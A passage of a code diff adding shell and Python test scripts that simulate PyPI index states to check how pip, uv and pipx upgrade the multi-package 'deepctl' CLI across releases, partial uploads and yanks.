+#!/bin/sh
+# Runs INSIDE python:3.12-slim with network to PyPI only. Downloads the REAL
+# 0.3.3 / 0.4.0 closures (as resolved on their release day, via --exclude-newer),
+# the third-party closure of the locally built 0.5.0, 0.6.0 and 1.0 wheels, and the tools.
+# Mounts: /w (rw) work dir, /o (rw) evidence out dir.
+set -eu
+export PIP_DISABLE_PIP_VERSION_CHECK=1 PIP_ROOT_USER_ACTION=ignore
+pip -q install uv==0.13.6 >/dev/null
+mkdir -p /w/wheelhouse /w/pins
+# real released closures, resolved as a user would have on release day
+uv pip compile -q --python-version 3.12 --exclude-newer 2026-10-12T12:00:00Z - -o /w/pins/env-0.3.3.txt <<R
+deepctl==0.3.3
+R
+uv pip compile -q --python-version 3.12 --exclude-newer 2026-10-20T12:00:00Z - -o /w/pins/env-0.4.0.txt <<R
+deepctl==0.4.0
+R
+cp /w/pins/env-*.txt /o/
+for f in /w/pins/env-0.3.3.txt /w/pins/env-0.4.0.txt; do pip -q wheel --no-deps -r $f -w /w/wheelhouse; done
+# also the latest-of-each-sibling 0.4.0-era (what `pip install deepctl==0.4.0` gives today)
+pip -q wheel deepctl==0.4.0 -w /w/wheelhouse
+# third-party closure of local wheels (first-party resolved from local dirs only)
+for V in 0.5.0 0.6.0 1.0.0rc1 1.0.0; do
+  pip -q wheel --pre --find-links /w/wheels-$V "deepctl==$V" "deepctl-core==$V" -w /w/wheelhouse
+done
+# tools
+mkdir -p /w/tools
+pip -q download --only-binary :all: -d /w/tools "pip>=25,<26" pipx "uv" "uv==0.8.24"
+pip -q wheel -w /w/wheelhouse "pip>=25,<26" setuptools wheel
+uv --version > /o/tools_fetched.txt; ls /w/tools >> /o/tools_fetched.txt
+# yank fidelity needs nothing extra; drop local first-party copies pip wheel may have written
+cd /w/wheelhouse && for f in deepctl-*0.5.0-* deepctl-*0.6.0-* deepctl-*1.0.0*; do [ -e "$f" ] && rm -f "$f"; done; true
+ls /w/wheelhouse | wc -l
+# the third-party plugin fixture as published, and the pip that pipx's pip
+# backend needs for its shared libs (it refuses pip<26.2.2)
+mkdir -p /w/wheels-plugin /w/wheels-pipxshared
+pip -q download --no-deps -d /w/wheels-plugin "deepctl-plugin-example==0.1.12"
+pip -q download --no-deps -d /w/wheels-pipxshared "pip==26.2.2"
diff --git a/tests/upgrade/layout/lib.sh b/tests/upgrade/layout/lib.sh
new file mode 100755
index 00000000..4469f1bb
--- /dev/null
+++ b/tests/upgrade/layout/lib.sh
@@ -0,0 +1,42 @@
+# Sourced inside the upgrade-matrix image. Mounts: /w (ro) wheels, /s (ro) scripts, /o (rw) out.
+set -u
+export DEEPCTL_TELEMETRY_DISABLED=1 DEEPCTL_TELEMETRY_DSN=http://k@127.0.0.1:9/1 CI=1
+export PIP_DISABLE_PIP_VERSION_CHECK=1 PIP_NO_INPUT=1
+mkdir -p /idx/pool
+W=/w; WH=$W/wheelhouse; P05=$W/wheels-0.5.0; PRC=$W/wheels-1.0.0rc1; P10=$W/wheels-1.0.0; PEX="$W/wheels-plugin $W/wheels-pipxshared"
+mk(){ python -I /s/mkidx.py /idx/$1 /idx/pool "${@:2}" 2>>/o/idx.log; }
+# Index states (what PyPI shows at a point in the release)
+build_states(){
+  mk I040   $WH $PEX
+  mk I050   $WH $PEX $P05
+  mk I050rc $WH $PEX $P05 $PRC
+  mk I100   $WH $PEX $P05 $PRC $P10
+  # partial-upload windows (upload order: every non-root dist first, deepctl last)
+  mk W050noroot  $WH $PEX $P05:-deepctl-0.5.0
+  mk W050coreonly $WH $PEX $P05:+deepctl-core-0.5.0
+  mk Wrcnoroot   $WH $PEX $P05 $PRC:-deepctl-1.0.0rc1
+  mk W100noroot  $WH $PEX $P05 $PRC $P10:-deepctl-1.0.0
+  mk W100half    $WH $PEX $P05 $PRC $P10:+deepctl-core-1.0.0,deepctl-cmd-a,deepctl-cmd-b,deepctl-cmd-c,deepctl-cmd-debug,deepctl-cmd-f,deepctl-cmd-i,deepctl-cmd-k,deepctl-cmd-l
+  mk Wrootonly   $WH $PEX $P05 $PRC $P10:+deepctl-1.0.0
+  # yank: root and core 1.0.0 yanked together, no 1.0.1
+  mk Y100pair  --yank deepctl-1.0.0 --yank deepctl-core-1.0.0 $WH $PEX $P05 $PRC $P10
+  mk Y100root  --yank deepctl-1.0.0 $WH $PEX $P05 $PRC $P10
+  python -I /s/serve.py /idx >/dev/null 2>&1 &
+  sleep 1
+}
+setidx(){ ln -sfn /idx/$1 /idx/cur; echo "  [index -> $1]"; }
+export PIP_INDEX_URL=http://127.0.0.1:8000/cur/simple/ UV_INDEX_URL=http://127.0.0.1:8000/cur/simple/
+export UV_DEFAULT_INDEX=http://127.0.0.1:8000/cur/simple/ UV_PYTHON_DOWNLOADS=never UV_NO_PROGRESS=1
+pipvenv(){ rm -rf $1; python -m venv $1 && $1/bin/pip -q install pip==25.3; }
+old_pip(){ pipvenv $2; $2/bin/pip -q install -r /w/pins/env-$1.txt; }
+old_uv(){ rm -rf $3; $1 venv -q $3 && VIRTUAL_ENV=$3 $1 pip install -q -r /w/pins/env-$2.txt; }
+probe(){ python -I /s/probe.py "$@"; }
+# x CMD...: run an install step, keep the last lines of its output in the log
+x(){ echo "  + $*"; "$@" > /tmp/x.out 2>&1; local rc=$?; grep -v "^\s*$" /tmp/x.out | grep -iv "notice\]" | tail -4 | sed 's/^/    | /'; echo "    rc=$rc"; return 0; }
+pp(){ probe "$1" "$2/bin/python" "$2/bin/dg" "$2/bin/pip check" "${@:3}"; }          # pip venv
+up(){ probe "$1" "$3/bin/python" "$3/bin/dg" "$2 pip check --python $3/bin/python" "${@:4}"; }  # uv venv: up ID UV DIR
+P06=$W/wheels-0.6.0
+build_states_next(){
+  mk I060  $WH $PEX $P05 $P06
+  mk I100b $WH $PEX $P05 $P06 $PRC $P10
+}
diff --git a/tests/upgrade/layout/m_backedge.sh b/tests/upgrade/layout/m_backedge.sh
new file mode 100755
index 00000000..759aa78b
--- /dev/null
+++ b/tests/upgrade/layout/m_backedge.sh
@@ -0,0 +1,15 @@
+#!/bin/bash
+# Group B: the `deepctl==V` back-edge every lockstep package declares. From a
+# 0.5.0 install, -U of each dist with 0.6.0 published moves the whole set; also
+# 0.4.0 -> 0.5.0 via -U of a package, and 0.5.0 -> 1.0.0.
+source /s/lib.sh; build_states; build_states_next
+DISTS=$(ls $P10 | sed -E 's/-[0-9].*//; s/_/-/g' | sort)
+setidx I050; pipvenv /base; /base/bin/pip -q install deepctl==0.5.0
+clone(){ rm -rf /n; cp -a /base /n; sed -i "s#/base#/n#g" /n/bin/* /n/pyvenv.cfg 2>/dev/null; }
+for R in $DISTS; do clone; setidx I060; x /n/bin/pip install -U $R; pp B-I060-from050-pip-U-$R /n --expect-version 0.6.0; done
+for R in deepctl-core deepctl-cmd-listen deepctl-shared-utils; do
+  setidx I050; rm -rf /u; uv venv -q /u; VIRTUAL_ENV=/u uv pip install -q deepctl==0.5.0
+  setidx I060; x env VIRTUAL_ENV=/u uv pip install -U $R; up B-I060-from050-uvpip-U-$R uv /u --expect-version 0.6.0
+  setidx I040; old_pip 0.4.0 /o4; setidx I050; x /o4/bin/pip install -U $R; pp B-I050-from040-pip-U-$R /o4 --expect-version 0.5.0
+  setidx I050; clone; setidx I100; x /n/bin/pip install -U $R; pp B-I100-from050-pip-U-$R /n --expect-version 1.0.0
+done
diff --git a/tests/upgrade/layout/m_next.sh b/tests/upgrade/layout/m_next.sh
new file mode 100755
index 00000000..e11b9699
--- /dev/null
+++ b/tests/upgrade/layout/m_next.sh
@@ -0,0 +1,20 @@
+#!/bin/bash
+# Group N: lockstep after lockstep. From a real 0.5.0 env: `-U <each dist>` to 0.6.0 (lockstep == pins
+# on both sides), and `-U <each dist>` straight to 1.0.0 (tombstones force the root up).
+source /s/lib.sh; build_states; build_states_next
+DISTS=$(ls $P10 | sed -E 's/-[0-9].*//; s/_/-/g' | sort)
+setidx I050; pipvenv /base; /base/bin/pip -q install deepctl==0.5.0
+clone(){ rm -rf /n; cp -a /base /n; sed -i "s#/base#/n#g" /n/bin/* /n/pyvenv.cfg 2>/dev/null; }
+for STATE in I060 I100b; do
+  EXP=$([ $STATE = I060 ] && echo 0.6.0 || echo 1.0.0)
+  for R in $DISTS; do
+    clone; setidx $STATE; x /n/bin/pip install -U $R; pp N-$STATE-from050-pip-U-$R /n --expect-version $EXP
+  done
+done
+for STATE in I060 I100b; do
+  EXP=$([ $STATE = I060 ] && echo 0.6.0 || echo 1.0.0)
+  for R in deepctl deepctl-core deepctl-cmd-listen deepctl-shared-utils; do
+    setidx I050; rm -rf /u; uv venv -q /u; VIRTUAL_ENV=/u uv pip install -q deepctl==0.5.0
+    setidx $STATE; x env VIRTUAL_ENV=/u uv pip install -U $R; up N-$STATE-from050-uvpip-U-$R uv /u --expect-version $EXP
+  done
+done
diff --git a/tests/upgrade/layout/m_pip.sh b/tests/upgrade/layout/m_pip.sh
new file mode 100755
index 00000000..e98b9234
--- /dev/null
+++ b/tests/upgrade/layout/m_pip.sh
@@ -0,0 +1,31 @@
+#!/bin/bash
+# Group A: pip 25.3 channels from the real 0.4.0 / 0.3.3 closures.
+source /s/lib.sh; build_states
+echo "== A1 chain 0.4.0 -> 0.5.0 -> 1.0.0rc1 (--pre) -> 1.0.0, then uninstall tombstones"
+setidx I040; old_pip 0.4.0 /a1; pp A1.0-start /a1 --expect-version 0.4.0
+setidx I050; x /a1/bin/pip install -U deepctl; pp A1.1-pip-U-0.5.0 /a1 --expect-version 0.5.0
+setidx I050rc; x /a1/bin/pip install -U deepctl; pp A1.2-pip-U-noPre-stays-0.5.0 /a1 --expect-version 0.5.0
+x /a1/bin/pip install --pre -U deepctl; pp A1.3-pip-U-pre-rc1 /a1 --expect-version 1.0.0rc1
+setidx I100; x /a1/bin/pip install -U deepctl; pp A1.4-pip-U-1.0.0 /a1 --expect-version 1.0.0
+x /a1/bin/pip uninstall -y deepctl-cmd-listen; pp A1.5-uninstall-tomb-listen /a1 --expect-version 1.0.0 --note "pip check expected to name the missing tombstone"
+x /a1/bin/pip uninstall -y deepctl-shared-utils deepctl-telemetry deepctl-cmd-mcp; pp A1.6-uninstall-3-more-tombs /a1 --expect-version 1.0.0
+echo "== A2 0.4.0 -> 1.0.0 directly"
+for R in deepctl deepctl-core deepctl-cmd-listen; do
+  setidx I040; old_pip 0.4.0 /a2; setidx I100; x /a2/bin/pip install -U $R
+  pp A2-040-pip-U-$R /a2 --expect-version 1.0.0
+  x /a2/bin/pip uninstall -y deepctl-cmd-listen; pp A2-040-pip-U-$R-then-uninstall-listen /a2 --expect-version 1.0.0
+done
+echo "== A3 0.3.3 -> 1.0.0 directly"
+for R in deepctl deepctl-core deepctl-cmd-listen deepctl-cmd-debug-toolkit; do
+  setidx I040; old_pip 0.3.3 /a3; setidx I100; x /a3/bin/pip install -U $R
+  pp A3-033-pip-U-$R /a3 --expect-version 1.0.0
+done
+echo "== A4 0.3.3 -> 0.5.0 (lockstep) via -U of root, core, a sibling"
+for R in deepctl deepctl-core deepctl-cmd-listen; do
+  setidx I040; old_pip 0.3.3 /a4; setidx I050; x /a4/bin/pip install -U $R
+  pp A4-033-pip-U-$R-at-0.5.0 /a4 --note "expect 0.5.0 for root; sibling/core -U may leave root at 0.3.3"
+done
+echo "== A5 fresh installs at I100"; setidx I100
+pipvenv /a5; x /a5/bin/pip install deepctl; pp A5-fresh-pip-install-deepctl /a5 --expect-version 1.0.0
+pipvenv /a5; x /a5/bin/pip install deepctl-core; pp A5-fresh-pip-install-deepctl-core /a5 --expect-version 1.0.0
+pipvenv /a5; x /a5/bin/pip install deepctl==0.4.0; pp A5-fresh-pin-0.4.0-at-I100 /a5 --expect-version 0.4.0 --note "old pin must still resolve; siblings drift to latest 0.x?"
diff --git a/tests/upgrade/layout/m_pipx.sh b/tests/upgrade/layout/m_pipx.sh
new file mode 100755
index 00000000..34b8674b
--- /dev/null
+++ b/tests/upgrade/layout/m_pipx.sh
@@ -0,0 +1,22 @@
+#!/bin/bash
+# Group X: pipx 1.18.11 (+ plugin cells with pip).
+source /s/lib.sh; build_states
+BK=${PIPX_DEFAULT_BACKEND:-auto}; echo "pipx backend: $BK"
+export PIPX_HOME=/tmp/px PIPX_BIN_DIR=/tmp/pb PIPX_SHARED_LIBS=/tmp/pxs
+xp(){ probe "$1-$BK" /tmp/px/venvs/deepctl/bin/python /tmp/pb/dg "pipx runpip deepctl check" "${@:2}"; }
+rm -rf /tmp/px /tmp/pb; setidx I040; x pipx install deepctl; xp X-pipx-install-040 --expect-version 0.4.0
+setidx I050; x pipx upgrade deepctl; xp X-pipx-upgrade-0.5.0 --expect-version 0.5.0
+setidx I050rc; x pipx upgrade deepctl; xp X-pipx-upgrade-noPre-stays --expect-version 0.5.0
+x pipx upgrade --pip-args=--pre deepctl; xp X-pipx-upgrade-pre-rc1 --expect-version 1.0.0rc1
+setidx I100; x pipx upgrade deepctl; xp X-pipx-upgrade-1.0.0 --expect-version 1.0.0
+x pipx runpip deepctl uninstall -y deepctl-cmd-listen; xp X-pipx-then-uninstall-listen --expect-version 1.0.0
+rm -rf /tmp/px /tmp/pb; setidx I040; x pipx install deepctl; setidx I100; x pipx upgrade deepctl; xp X-pipx-040-direct-1.0.0 --expect-version 1.0.0
+x pipx upgrade-all; xp X-pipx-upgrade-all-idempotent --expect-version 1.0.0
+rm -rf /tmp/px /tmp/pb; setidx I050; x pipx install deepctl; setidx W100noroot; x pipx upgrade deepctl; xp X-pipx-upgrade-during-W100noroot --expect-version 0.5.0
+rm -rf /tmp/px /tmp/pb; setidx I050; x pipx install deepctl; setidx Y100pair; x pipx upgrade deepctl; xp X-pipx-upgrade-during-Y100pair --expect-version 0.5.0
+echo "== plugin (third-party deepctl-plugin-example 0.1.12, deepctl-core>=0.1.10)"
+setidx I040; old_pip 0.4.0 /p; x /p/bin/pip install deepctl-plugin-example; pp P-040-with-plugin /p --expect-version 0.4.0 --need example
+setidx I100; x /p/bin/pip install -U deepctl; pp P-plugin-survives-U-to-1.0.0 /p --expect-version 1.0.0 --need example
+pipvenv /p; x /p/bin/pip install deepctl-plugin-example; pp P-fresh-plugin-install-pulls-cli-1.0.0 /p --expect-version 1.0.0 --need example
+rm -rf /tmp/ut /tmp/ub; export UV_TOOL_DIR=/tmp/ut UV_TOOL_BIN_DIR=/tmp/ub; setidx I040; x uv tool install deepctl --with deepctl-plugin-example
+setidx I100; x uv tool upgrade deepctl; probe P-uvtool-with-plugin-upgrade-1.0.0 /tmp/ut/deepctl/bin/python /tmp/ub/dg "uv pip check --python /tmp/ut/deepctl/bin/python" --expect-version 1.0.0 --need example
diff --git a/tests/upgrade/layout/m_rc.sh b/tests/upgrade/layout/m_rc.sh
new file mode 100755
index 00000000..4279a5ee
--- /dev/null
+++ b/tests/upgrade/layout/m_rc.sh
@@ -0,0 +1,28 @@
+#!/bin/bash
+# Group R: how an rc tester should install 1.0.0rc1 without pulling third-party prereleases.
+source /s/lib.sh; build_states
+for UV in uv uv08; do
+  export UV_CACHE_DIR=/tmp/c-$UV
+  setidx I050; rm -rf /u; $UV venv -q /u; VIRTUAL_ENV=/u $UV pip install -q deepctl==0.5.0; setidx I050rc
+  x env VIRTUAL_ENV=/u $UV pip install deepctl==1.0.0rc1; up R-$UV-pip-install-pin-rc1 $UV /u --expect-version 1.0.0rc1
+  setidx I100; x env VIRTUAL_ENV=/u $UV pip install -U deepctl; up R-$UV-pin-rc1-then-U-1.0.0 $UV /u --expect-version 1.0.0
+  setidx I050; rm -rf /u; $UV venv -q /u; VIRTUAL_ENV=/u $UV pip install -q deepctl==0.5.0; setidx I050rc
+  x env VIRTUAL_ENV=/u $UV pip install --prerelease explicit -U deepctl; up R-$UV-prerelease-explicit-U $UV /u --note "does explicit mode reach rc1 without a pin?"
+  x env VIRTUAL_ENV=/u $UV pip install -U --prerelease allow --upgrade-package deepctl deepctl; up R-$UV-prerelease-allow-upgrade-package-only $UV /u --note "-P deepctl instead of -U all"
+  export UV_TOOL_DIR=/tmp/ut UV_TOOL_BIN_DIR=/tmp/ub; rm -rf /tmp/ut /tmp/ub
+  setidx I050; $UV tool install -q deepctl; setidx I050rc
+  x $UV tool upgrade --prerelease allow deepctl; probe R-$UV-tool-upgrade-prerelease-allow /tmp/ut/deepctl/bin/python /tmp/ub/dg "$UV pip check --python /tmp/ut/deepctl/bin/python" --expect-version 1.0.0rc1
+  rm -rf /tmp/ut /tmp/ub; x $UV tool install deepctl==1.0.0rc1; probe R-$UV-tool-install-pin-rc1 /tmp/ut/deepctl/bin/python /tmp/ub/dg "$UV pip check --python /tmp/ut/deepctl/bin/python" --expect-version 1.0.0rc1
+  setidx I100; x $UV tool install deepctl@latest; probe R-$UV-tool-pin-rc1-then-latest /tmp/ut/deepctl/bin/python /tmp/ub/dg "$UV pip check --python /tmp/ut/deepctl/bin/python" --expect-version 1.0.0
+done
+setidx I050rc; pipvenv /p; x /p/bin/pip install --pre deepctl; pp R-pip-fresh-install-pre /p --expect-version 1.0.0rc1 --note "--pre is global for pip: fresh resolve may pick sentry-sdk beta"
+pipvenv /p; x /p/bin/pip install deepctl==1.0.0rc1; pp R-pip-fresh-install-pin-rc1 /p --expect-version 1.0.0rc1
+echo "-- uv08 workaround: --prerelease allow on an existing env without -U"
+setidx I050; rm -rf /u; uv08 venv -q /u; VIRTUAL_ENV=/u uv08 pip install -q deepctl==0.5.0; setidx I050rc
+x env VIRTUAL_ENV=/u uv08 pip install --prerelease allow deepctl==1.0.0rc1; up R-uv08-prerelease-allow-pin-rc1-noU uv08 /u --expect-version 1.0.0rc1
+rm -rf /tmp/ut /tmp/ub; x uv08 tool install --prerelease allow deepctl==1.0.0rc1; probe R-uv08-tool-install-prerelease-allow-pin-rc1 /tmp/ut/deepctl/bin/python /tmp/ub/dg "uv08 pip check --python /tmp/ut/deepctl/bin/python" --expect-version 1.0.0rc1
+echo "-- released 0.4.0 against sentry-sdk 3.0.0b2 (an uncapped release)"
+setidx I050rc; old_pip 0.4.0 /q; x /q/bin/pip install sentry-sdk==3.0.0b2; pp R-released-0.4.0-with-sentry-sdk-3.0.0b2 /q --expect-version 0.4.0
+echo "-- uv pip check vs missing dependency (after tombstone uninstall)"
+setidx I100; rm -rf /u; uv venv -q /u; VIRTUAL_ENV=/u uv pip install -q deepctl; VIRTUAL_ENV=/u uv pip uninstall -q deepctl-cmd-listen
+x uv pip check --python /u/bin/python; x uv08 pip check --python /u/bin/python
diff --git a/tests/upgrade/layout/m_siblings.sh b/tests/upgrade/layout/m_siblings.sh
new file mode 100755
index 00000000..c7a1ed84
--- /dev/null
+++ b/tests/upgrade/layout/m_siblings.sh
@@ -0,0 +1,12 @@
+#!/bin/bash
+# Group S: `pip install -U <each sibling>` from the real 0.4.0 closure, at 0.5.0 (lockstep) and at 1.0.0.
+source /s/lib.sh; build_states
+SIBS=$(ls $P10 | sed -E 's/-[0-9].*//; s/_/-/g' | grep -v '^deepctl$' | sort)
+setidx I040; old_pip 0.4.0 /base
+for STATE in I050 I100; do
+  for R in $SIBS; do
+    rm -rf /s1; cp -a /base /s1; sed -i "s#/base#/s1#g" /s1/bin/* /s1/pyvenv.cfg 2>/dev/null
+    setidx $STATE; x /s1/bin/pip install -U $R
+    if [ $STATE = I100 ]; then pp S-$STATE-pip-U-$R /s1 --expect-version 1.0.0; else pp S-$STATE-pip-U-$R /s1 --note "0.4.0 root floors are >=, lockstep only binds 0.5.0 dists"; fi
+  done
+done
diff --git a/tests/upgrade/layout/m_uv.sh b/tests/upgrade/layout/m_uv.sh
new file mode 100755
index 00000000..e94e22b9
--- /dev/null
+++ b/tests/upgrade/layout/m_uv.sh
@@ -0,0 +1,46 @@
+#!/bin/bash
+# Group U: uv pip / uv tool / uvx. Arg 1 = uv binary (uv = latest 0.13.6, uv08 = 0.8.24).
+source /s/lib.sh; build_states
+UV=$1; T=$UV
+export UV_CACHE_DIR=/tmp/uvcache-$T
+echo "== $T: $($UV --version)"
+echo "-- uv pip chain"
+setidx I040; old_uv $UV 0.4.0 /u
+setidx I050; x env VIRTUAL_ENV=/u $UV pip install -U deepctl; up $T-uvpip-chain-0.5.0 $UV /u --expect-version 0.5.0
+setidx I050rc; x env VIRTUAL_ENV=/u $UV pip install -U deepctl; up $T-uvpip-chain-noPre-stays $UV /u --expect-version 0.5.0
+x env VIRTUAL_ENV=/u $UV pip install --prerelease allow -U deepctl; up $T-uvpip-chain-pre-rc1 $UV /u --expect-version 1.0.0rc1
+setidx I100; x env VIRTUAL_ENV=/u $UV pip install -U deepctl; up $T-uvpip-chain-1.0.0 $UV /u --expect-version 1.0.0
+x env VIRTUAL_ENV=/u $UV pip uninstall deepctl-cmd-listen; up $T-uvpip-chain-uninstall-listen $UV /u --expect-version 1.0.0
+echo "-- uv pip direct 0.4.0 -> 1.0.0"
+for R in deepctl deepctl-core deepctl-cmd-listen; do
+  setidx I040; old_uv $UV 0.4.0 /u; setidx I100; x env VIRTUAL_ENV=/u $UV pip install -U $R
+  up $T-uvpip-040-U-$R $UV /u --expect-version 1.0.0
+done
+setidx I040; old_uv $UV 0.3.3 /u; setidx I100; x env VIRTUAL_ENV=/u $UV pip install -U deepctl; up $T-uvpip-033-U-deepctl $UV /u --expect-version 1.0.0
+echo "-- uv tool"
+export UV_TOOL_DIR=/tmp/ut UV_TOOL_BIN_DIR=/tmp/ub
+tp(){ probe "$1" /tmp/ut/deepctl/bin/python /tmp/ub/dg "$UV pip check --python /tmp/ut/deepctl/bin/python" "${@:2}"; }
+rm -rf /tmp/ut /tmp/ub; setidx I040; x $UV tool install deepctl; tp $T-tool-install-unpinned-040 --expect-version 0.4.0
+setidx I100; x $UV tool upgrade deepctl; tp $T-tool-upgrade-unpinned-to-1.0.0 --expect-version 1.0.0
+x $UV pip uninstall --python /tmp/ut/deepctl/bin/python deepctl-cmd-listen; tp $T-tool-then-uninstall-listen --expect-version 1.0.0
+rm -rf /tmp/ut /tmp/ub; setidx I040; x $UV tool install deepctl==0.4.0; setidx I100
+x $UV tool upgrade deepctl; tp $T-tool-pinned-then-upgrade --expect-version 0.4.0 --note "pinned receipt: upgrade respects pin (expected)"
+x $UV tool install deepctl@latest; tp $T-tool-pinned-then-install-latest --expect-version 1.0.0
+rm -rf /tmp/ut /tmp/ub; setidx I040; x $UV tool install deepctl
+setidx I050; x $UV tool upgrade deepctl; tp $T-tool-chain-0.5.0 --expect-version 0.5.0
+setidx I050rc; x $UV tool upgrade deepctl; tp $T-tool-chain-noPre-stays --expect-version 0.5.0
+x $UV tool upgrade --prerelease allow deepctl; tp $T-tool-chain-pre-rc1 --expect-version 1.0.0rc1
+setidx I100; x $UV tool upgrade deepctl; tp $T-tool-chain-1.0.0 --expect-version 1.0.0
+for WIN in W100noroot Y100pair; do
+  rm -rf /tmp/ut /tmp/ub; setidx I050; x $UV tool install deepctl; setidx $WIN; x $UV tool upgrade deepctl; tp $T-tool-upgrade-during-$WIN --expect-version 0.5.0
+  rm -rf /tmp/ut /tmp/ub; setidx $WIN; x $UV tool install deepctl; tp $T-tool-fresh-install-during-$WIN --expect-version 0.5.0
+done
+echo "-- uvx"; rm -rf /tmp/ut /tmp/ub; export UV_CACHE_DIR=/tmp/uvcache-x-$T  # uvx prefers an installed tool, so remove it first
+xp(){ local SPEC=$1 ID=$2; shift 2; local PYX; PYX=$($UV tool run --from "$SPEC" python -c 'import sys;print(sys.executable)' 2>/dev/null | tail -1)
+  probe "$ID" "$PYX" "$UV tool run --from $SPEC dg" "$UV pip check --python $PYX" "$@"; }
+setidx I040; xp deepctl $T-uvx-at-040 --expect-version 0.4.0
+setidx I100; xp deepctl $T-uvx-cached-after-1.0-publish --note "uvx reuses cached env? expect 0.4.0 until cache refresh"
+xp deepctl@latest $T-uvx-latest-after-1.0-publish --expect-version 1.0.0
+export UV_CACHE_DIR=/tmp/uvcache2-$T; setidx I100; xp deepctl $T-uvx-cold-cache-1.0 --expect-version 1.0.0
+setidx W100noroot; export UV_CACHE_DIR=/tmp/uvcache3-$T; xp deepctl $T-uvx-cold-during-W100noroot --expect-version 0.5.0
+setidx Y100pair; export UV_CACHE_DIR=/tmp/uvcache4-$T; xp deepctl $T-uvx-cold-during-Y100pair --expect-version 0.5.0
diff --git a/tests/upgrade/layout/m_uvx.sh b/tests/upgrade/layout/m_uvx.sh
new file mode 100755
index 00000000..fba9b706
--- /dev/null
+++ b/tests/upgrade/layout/m_uvx.sh
@@ -0,0 +1,12 @@
+#!/bin/bash
+# Group U-uvx re-run: uvx cells alone, longer per-command timeout (first run hit harness timeouts under load).
+source /s/lib.sh; build_states; UV=$1; T=$UV; export PROBE_TIMEOUT=300 PROBE_WORKERS=3
+echo "-- uvx"; rm -rf /tmp/ut /tmp/ub; export UV_CACHE_DIR=/tmp/uvcache-x-$T  # uvx prefers an installed tool, so remove it first
+xp(){ local SPEC=$1 ID=$2; shift 2; local PYX; PYX=$($UV tool run --from "$SPEC" python -c 'import sys;print(sys.executable)' 2>/dev/null | tail -1)
+  probe "$ID" "$PYX" "$UV tool run --from $SPEC dg" "$UV pip check --python $PYX" "$@"; }
+setidx I040; xp deepctl $T-uvx-at-040 --expect-version 0.4.0
+setidx I100; xp deepctl $T-uvx-cached-after-1.0-publish --note "uvx reuses cached env? expect 0.4.0 until cache refresh"
+xp deepctl@latest $T-uvx-latest-after-1.0-publish --expect-version 1.0.0
+export UV_CACHE_DIR=/tmp/uvcache2-$T; setidx I100; xp deepctl $T-uvx-cold-cache-1.0 --expect-version 1.0.0
+setidx W100noroot; export UV_CACHE_DIR=/tmp/uvcache3-$T; xp deepctl $T-uvx-cold-during-W100noroot --expect-version 0.5.0
+setidx Y100pair; export UV_CACHE_DIR=/tmp/uvcache4-$T; xp deepctl $T-uvx-cold-during-Y100pair --expect-version 0.5.0
diff --git a/tests/upgrade/layout/m_windows.sh b/tests/upgrade/layout/m_windows.sh
new file mode 100755
index 00000000..c22e8696
--- /dev/null
+++ b/tests/upgrade/layout/m_windows.sh
@@ -0,0 +1,42 @@
+#!/bin/bash
+# Group W: partial-upload windows (deps first, root last) and the yank pair. pip 25.3 + uv latest.
+source /s/lib.sh; build_states
+start(){ # start STATE_LABEL DIR : 0.4.0 or 0.5.0 pip venv
+  if [ $1 = 040 ]; then setidx I040; old_pip 0.4.0 $2; else setidx I050; pipvenv $2; $2/bin/pip -q install deepctl==0.5.0; fi; }
+ustart(){ if [ $1 = 040 ]; then setidx I040; old_uv uv 0.4.0 $2; else setidx I050; rm -rf $2; uv venv -q $2; VIRTUAL_ENV=$2 uv pip install -q deepctl==0.5.0; fi; }
+for WIN in W050noroot W050coreonly; do
+  for R in deepctl deepctl-core deepctl-cmd-listen; do
+    start 040 /w1; setidx $WIN; x /w1/bin/pip install -U $R; pp W-$WIN-from040-pip-U-$R /w1 --note "window: 0.5.0 deps visible, root 0.5.0 not"
+  done
+done
+for WIN in Wrcnoroot; do
+  for R in deepctl deepctl-core deepctl-cmd-listen; do
+    start 050 /w1; setidx $WIN; x /w1/bin/pip install --pre -U $R; pp W-$WIN-from050-pip-U-pre-$R /w1 --expect-version 0.5.0
+  done
+  pipvenv /w1; x /w1/bin/pip install --pre deepctl-core; pp W-$WIN-fresh-pip-pre-install-core /w1 --note "fresh SDK install during rc window"
+done
+for WIN in W100noroot W100half Wrootonly; do
+  for FROM in 040 050; do
+    EXP=$([ $FROM = 040 ] && echo 0.4.0 || echo 0.5.0)
+    for R in deepctl deepctl-core deepctl-cmd-listen; do
+      start $FROM /w1; setidx $WIN; x /w1/bin/pip install -U $R; pp W-$WIN-from$FROM-pip-U-$R /w1 --expect-version $EXP
+      ustart $FROM /u1; setidx $WIN; x env VIRTUAL_ENV=/u1 uv pip install -U $R; up W-$WIN-from$FROM-uvpip-U-$R uv /u1 --expect-version $EXP
+    done
+  done
+  setidx $WIN; pipvenv /w1; x /w1/bin/pip install deepctl-core; pp W-$WIN-fresh-pip-install-core /w1 --expect-version 0.5.0
+  pipvenv /w1; x /w1/bin/pip install deepctl; pp W-$WIN-fresh-pip-install-deepctl /w1 --expect-version 0.5.0
+done
+echo "== yank"
+for Y in Y100pair Y100root; do
+  for FROM in 040 050; do
+    EXP=$([ $FROM = 040 ] && echo 0.4.0 || echo 0.5.0)
+    for R in deepctl deepctl-core deepctl-cmd-listen; do
+      start $FROM /w1; setidx $Y; x /w1/bin/pip install -U $R
+      [ $R = deepctl ] && E=0.5.0 || E=$EXP
+      pp Y-$Y-from$FROM-pip-U-$R /w1 --note "$Y; plain -U deepctl moves 0.4.0->0.5.0 (latest non-yanked final)"
+      ustart $FROM /u1; setidx $Y; x env VIRTUAL_ENV=/u1 uv pip install -U $R; up Y-$Y-from$FROM-uvpip-U-$R uv /u1 --note "$Y"
+    done
+  done
+  setidx $Y; pipvenv /w1; x /w1/bin/pip install deepctl-core; pp Y-$Y-fresh-pip-install-core /w1 --note "$Y"
+  pipvenv /w1; x /w1/bin/pip install deepctl; pp Y-$Y-fresh-pip-install-deepctl /w1 --note "$Y"
+done
diff --git a/tests/upgrade/layout/mk_layouts.py b/tests/upgrade/layout/mk_layouts.py
new file mode 100644
index 00000000..b6bf6ced
--- /dev/null
+++ b/tests/upgrade/layout/mk_layouts.py
@@ -0,0 +1,215 @@
+#!/usr/bin/env python3
+"""Derive release layouts from a clean export of this tree, for the upgrade matrix.
+
+Usage: mk_layouts.py SRC OUT MODE VERSION
+  MODE = lockstep   -> the current layout: 30 dists (root plus 29 packages, the
+                       plugin example excluded) at one version. Sets the root
+                       version and runs scripts/check_dependency_floors.py --fix,
+                       which is what the release fix-up does.
+  MODE = relocated  -> the planned 1.0 layout: `deepctl` carries all first-party
+                       code under deepctl/_commands/<x>/, deepctl/_shared/,
